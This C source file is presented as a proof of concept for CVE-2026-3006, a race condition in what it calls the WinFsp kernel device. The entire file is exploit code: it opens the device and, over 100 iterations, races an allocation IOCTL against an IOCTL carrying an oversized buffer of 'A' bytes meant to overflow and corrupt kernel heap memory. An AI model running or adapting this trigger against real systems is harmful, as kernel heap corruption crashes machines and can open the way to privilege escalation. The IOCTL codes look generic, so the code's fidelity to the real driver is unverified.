#include <windows.h>
#include <stdio.h>
// Conceptual Proof of Concept for CVE-2026-3006
// This code demonstrates the race condition trigger mechanism.
HANDLE hDevice;
// Thread 1: Simulates the allocation/initialization phase
DWORD WINAPI TriggerAlloc(LPVOID lpParam) {
BYTE inBuffer[0x10];
memset(inBuffer, 0, sizeof(inBuffer));
// Send IOCTL to allocate kernel object
DeviceIoControl(hDevice, 0x222003, inBuffer, sizeof(inBuffer), NULL, 0, NULL, NULL);
return 0;
}
// Thread 2: Simulates the race condition to corrupt heap
DWORD WINAPI TriggerCorrupt(LPVOID lpParam) {
// Malicious buffer to cause overflow
BYTE exploitBuffer[0x200];
memset(exploitBuffer, 0x41, sizeof(exploitBuffer)); // 0x41 = 'A'
// Send IOCTL to write data during the race window
// This attempts to write past the allocated buffer size
DeviceIoControl(hDevice, 0x222004, exploitBuffer, sizeof(exploitBuffer), NULL, 0, NULL, NULL);
return 0;
}
int main() {
printf("Starting PoC for CVE-2026-3006...\n");
// Open handle to the vulnerable WinFsp device
hDevice = CreateFileA("\\\\.\\WinFsp\\Device",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to get device handle. Error: %d\n", GetLastError());
return 1;
}
printf("Device handle opened. Spawning threads to race...\n");
// Loop to increase chance of hitting the race window
for (int i = 0; i < 100; i++) {
HANDLE hThreads[2];
hThreads[0] = CreateThread(NULL, 0, TriggerAlloc, NULL, 0, NULL);
hThreads[1] = CreateThread(NULL, 0, TriggerCorrupt, NULL, 0, NULL);
// Wait for threads to finish
WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
CloseHandle(hThreads[0]);
CloseHandle(hThreads[1]);
}
printf("Exploit attempt finished. Check system stability.\n");
CloseHandle(hDevice);
return 0;
}